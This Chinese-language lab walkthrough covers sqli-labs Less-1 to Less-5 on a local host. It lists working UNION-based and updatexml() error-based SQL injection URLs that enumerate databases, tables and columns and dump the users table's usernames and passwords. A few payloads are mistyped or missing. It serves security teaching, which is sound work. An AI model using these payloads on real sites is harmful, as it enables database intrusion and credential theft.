less-1
这一关使用的PHP版本为5.4.45
1.根据题目给出的已知条件,确定使用ID作为参数
2.判断闭合方式 可以发现闭合方式是 ' --+
http://127.0.0.1/Less-1/?id=1' --+
3.判断字段列数(有几个字段) order by
http://127.0.0.1/Less-1/?id=1' order by 1 --+
http://127.0.0.1/Less-1/?id=1' order by 2 --+
http://127.0.0.1/Less-1/?id=1' order by 3 --+
4.可以发现在order by 4的时候无法访问 说明只有3个字段
http://127.0.0.1/Less-1/?id=1' order by 4 --+
5.使用联合查询 可以找到页面的回显点
将页面原本查询的数据改为不存在的就可以显示页面的回显点
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+
6.使用联合查询 可以查到数据库名和用户名
http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+
7.联合查询 可以查出网站的security数据库里面的所有表名
group_concat()函数可以将同一个分组下的行拼接在一起
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
8.联合查询 可以查出users表里面的所有列(字段名)
http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
less-2
1.根据题目给出的已知条件,确定使用ID作为参数
2.判断闭合方式 可以发现闭合方式是 --+
3.判断字段列数(有几个字段) order by
http://127.0.0.1/Less-2/?id=1 order by 1 --+
http://127.0.0.1/Less-2/?id=1 order by 2 --+
http://127.0.0.1/Less-2/?id=1 order by 3 --+
4.可以发现在order by 4的时候无法访问 说明只有3个字段
http://127.0.0.1/Less-2/?id=1 order by 4 --+
5.使用联合查询 可以找到页面的回显点
将页面原本查询的数据改为不存在的就可以显示页面的回显点
http://127.0.0.1/Less-2/?id=-1 union select 1,2,3 --+
6.使用联合查询 可以查到数据库名和用户名
http://127.0.0.1/Less-2/?id=-1 union select 1,database(),user() --+
7.联合查询 可以查出网站的security数据库里面的所有表名
group_concat()函数可以将同一个分组下的行拼接在一起
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
8.联合查询 可以查出users表里面的所有列(字段名)
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
9.查询users表中的所有数据
http://127.0.0.1/Less-2/?id=-1 union select 1,2,group_concat(id,username,password) from users --+
less-3
1.根据题目给出的已知条件,确定使用ID作为参数
2.判断闭合方式 可以发现闭合方式是 ') --+
3.判断字段列数(有几个字段) order by
http://127.0.0.1/Less-3/?id=1') order by 1 --+
http://127.0.0.1/Less-3/?id=1') order by 2 --+
http://127.0.0.1/Less-3/?id=1') order by 3 --+
4.可以发现在order by 4的时候无法访问 说明只有3个字段
http://127.0.0.1/Less-3/?id=1') order by 4 --+
5.使用联合查询 可以找到页面的回显点
将页面原本查询的数据改为不存在的就可以显示页面的回显点
http://127.0.0.1/Less-3/?id=-1') union select 1,2,3 --+
6.使用联合查询 可以查到数据库名和用户名
http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+
7.联合查询 可以查出网站的security数据库里面的所有表名
group_concat()函数可以将同一个分组下的行拼接在一起
http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
8.联合查询 可以查出users表里面的所有列(字段名)
http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
9.查询users表中的所有数据
http://127.0.0.1/Less-3/?id=-1') union select 1,2,group_concat(id,username,password) from users --+
less-4
1.根据题目给出的已知条件,确定使用ID作为参数
2.判断闭合方式 可以发现闭合方式是 ") --+
http://127.0.0.1/Less-4/?id=1") --+
3.判断字段列数(有几个字段) order by
http://127.0.0.1/Less-4/?id=1") order by 1 --+
http://127.0.0.1/Less-4/?id=1") order by 2 --+
http://127.0.0.1/Less-4/?id=1'') order by 3 --+
4.可以发现在order by 4的时候无法访问 说明只有3个字段
http://127.0.0.1/Less-4/?id=1") order by 4 --+
5.使用联合查询 可以找到页面的回显点
将页面原本查询的数据改为不存在的就可以显示页面的回显点
http://127.0.0.1/Less-4/?id=-1") union select 1,2,3 --+
6.使用联合查询 可以查到数据库名和用户名
http://127.0.0.1/Less-4/?id=-1'') union select 1,database(),user() --+
7.联合查询 可以查出网站的security数据库里面的所有表名
group_concat()函数可以将同一个分组下的行拼接在一起
http://127.0.0.1/Less-4/?id=-1'') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
8.联合查询 可以查出users表里面的所有列(字段名)
http://127.0.0.1/Less-4/?id=-1'') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
9.查询users表中的所有数据
http://127.0.0.1/Less-4/?id=-1'') union select 1,2,group_concat(id,username,password) from users --+
less-5
这一关通过报错注入实现sql注入
1.在id后面跟个单引号会引起报错 说明页面有报错语句的位置 可以使用报错注入
2.使用报错函数updatexml() 查询数据库和用户名
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(database())),1)--+
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(user())),1)--+
3.通过报错注入查询数据库中的所有表
4.通过报错注入查询users表中的所有列(字段)
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from%20information_schema.columns where table_schema='security' and table_name='users')),1)--+
5.通过报错注入查询users表的所有数据
6.由于结果显示不全 可以使用limit来逐个查询